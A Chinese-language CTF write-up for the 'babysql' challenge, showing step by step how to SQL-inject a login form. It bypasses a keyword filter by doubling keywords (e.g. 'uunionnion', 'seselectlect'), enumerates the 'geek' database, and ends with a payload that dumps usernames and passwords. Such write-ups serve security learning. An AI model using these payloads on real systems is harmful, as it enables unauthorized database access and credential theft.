打开解题网址,一个账号密码输入框,根据题目,显然是sql注入:
尝试以 admin ,弱密码登录:
发现是get传参,提示登录错误用户或密码,进行抓包,并尝试单引号报错,找到报错显示位:
%23尝试闭合语句,闭合成功:
到这里,有个一点需要注意:
- 如果用 burpsuite 进行sql注入,那么语句里面包含的空格 或者 # 号需要进行手动url编码再写入payload,因为 burpsuite 上是直接以 url 传参,不会再对数据进行自动url编码;而如果是直接在输入框上做 sql 注入,则不用,因为输在输入框的数据会经过一次自动 url 编码,再被写入到 url 里面;
接下来我利用burpsuite (接下来的sql语句请特别注意空格和 # 号的url编码,容易看花眼),构造payload,进行字段个数查询:
空格 url 编码 : %20 # 号 url 编码 : %23
admin'%20order%20by%203%20%23
观察报错语句,发现 or, by 均被过滤,那么盲猜后台也过滤了一些注入常用的关键字union,select,from,等;
因此尝试 双写绕过,payload:
admin'%20oorrder%20bbyy%203%20%23
绕过成功,知道了有三个 字段 ,并发现一个这个sql语句相当于一个万能密码:
再使用 union 联合注入加双写绕过,观察页面显示位,显示位分别是 2 和 3:
接下来,在 2 和 3 两个显示位随便挑一个进行常规的联合注入即可;
值得注意的是,带有 or 两个字母的单词也需要进行 双写绕过,请看官自行体会;
all the payload:(注意 payload 里的 0 和 admin)
babysql:
admin'%20oorrder%20bbyy%203%20%23 字段为3
0'%20uunionnion%20seselectlect%201,2,3%23 显示为为 2, 3
0'%20uunionnion%20seselectlect%201,2,database()%23 当前数据库为 geek
0'%20uunionnion%20seselectlect%201,2,group_concat(table_name)%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema='geek'%23
表为 b4bsql,geekuser
0'%20uunionnion%20seselectlect%201,2,group_concat(column_name)%20ffromrom%20infoorrmation_schema.columns%20wwherehere%20table_name='b4bsql'%23
字段名为 id,username,password
0'%20uunionnion%20seselectlect%201,2,group_concat(username,'@',passwoorrd)ffromrom%20b4bsql%23